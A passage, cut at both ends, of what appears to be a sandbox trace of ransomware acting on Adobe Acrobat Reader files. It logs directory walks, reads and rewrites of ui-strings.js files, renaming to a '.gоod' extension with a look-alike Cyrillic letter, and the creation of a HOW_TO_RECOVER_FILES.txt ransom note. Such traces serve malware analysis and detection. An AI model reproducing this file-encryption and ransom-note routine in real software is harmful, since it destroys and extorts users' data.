hFindFile=0x131dec0) returned 1 [0198.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0198.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0198.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0198.338] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro", lpFilePart=0x0) returned 0x6a [0198.338] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0198.339] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.339] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.339] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.339] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0198.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0198.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0198.339] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0198.340] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3681230 | out: lpFileInformation=0x3681230*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2012)) returned 1 [0198.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0198.340] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.341] GetFileType (hFile=0x848) returned 0x1 [0198.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.341] GetFileType (hFile=0x848) returned 0x1 [0198.341] SetFilePointer (in: hFile=0x848, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0198.341] ReadFile (in: hFile=0x848, lpBuffer=0x3681718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3681718*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0198.441] CloseHandle (hObject=0x848) returned 1 [0198.441] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.441] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.441] GetFileType (hFile=0x848) returned 0x1 [0198.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.442] GetFileType (hFile=0x848) returned 0x1 [0198.442] SetFilePointer (in: hFile=0x848, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x2012 [0198.442] WriteFile (in: hFile=0x848, lpBuffer=0x375d460*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x375d460*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0198.442] CloseHandle (hObject=0x848) returned 1 [0198.443] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.443] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.443] GetFileType (hFile=0x848) returned 0x1 [0198.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.443] GetFileType (hFile=0x848) returned 0x1 [0198.443] ReadFile (in: hFile=0x848, lpBuffer=0x375f788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x375f788*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0198.500] CloseHandle (hObject=0x848) returned 1 [0198.500] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.500] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.501] GetFileType (hFile=0x848) returned 0x1 [0198.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.501] GetFileType (hFile=0x848) returned 0x1 [0198.501] WriteFile (in: hFile=0x848, lpBuffer=0x375e478*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x375e478*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0198.501] CloseHandle (hObject=0x848) returned 1 [0198.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0198.501] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0198.501] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0198.501] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x7287cf92, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2022)) returned 1 [0198.501] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0198.501] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\ui-strings.js.gоod")) returned 1 [0198.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0198.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0198.502] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\ro-ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x848 [0198.503] GetFileType (hFile=0x848) returned 0x1 [0198.503] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0198.503] GetFileType (hFile=0x848) returned 0x1 [0198.504] WriteFile (in: hFile=0x848, lpBuffer=0x37de368*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x37de368*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0198.505] CloseHandle (hObject=0x848) returned 1 [0198.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0198.505] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root", lpFilePart=0x0) returned 0x69 [0198.505] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0198.505] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.506] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.506] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0198.506] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0198.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0198.506] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0198.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0198.506] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root", lpFilePart=0x0) returned 0x69 [0198.506] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0198.506] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0198.506] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0198.507] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0198.507] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0198.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0198.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0198.507] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0198.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0198.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x37edf40 | out: lpFileInformation=0x37edf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31)) returned 1 [0198.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0198.507] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0198.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.507] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.508] GetFileType (hFile=0x848) returned 0x1 [0198.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.508] GetFileType (hFile=0x848) returned 0x1 [0198.508] SetFilePointer (in: hFile=0x848, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0198.508] ReadFile (in: hFile=0x848, lpBuffer=0x37ee418, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x37ee418*, lpNumberOfBytesRead=0x1ffebaa8*=0xc31, lpOverlapped=0x0) returned 1 [0198.687] CloseHandle (hObject=0x848) returned 1 [0198.687] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0198.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0198.688] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\root\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.688] GetFileType (hFile=0x848) returned 0x1 [0198.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0198.688] GetFileType (hFile=0x848) returned 0x1 [0198.688] SetFilePointer (in: hFile=0x848, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1c31 [0198.688] WriteFile (in: hFile=0x848, lpBuffer=0x36bfad0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x36bfad0*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0198.688] CloseHandle (hObject=0x848) returned 1 [0198.688] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 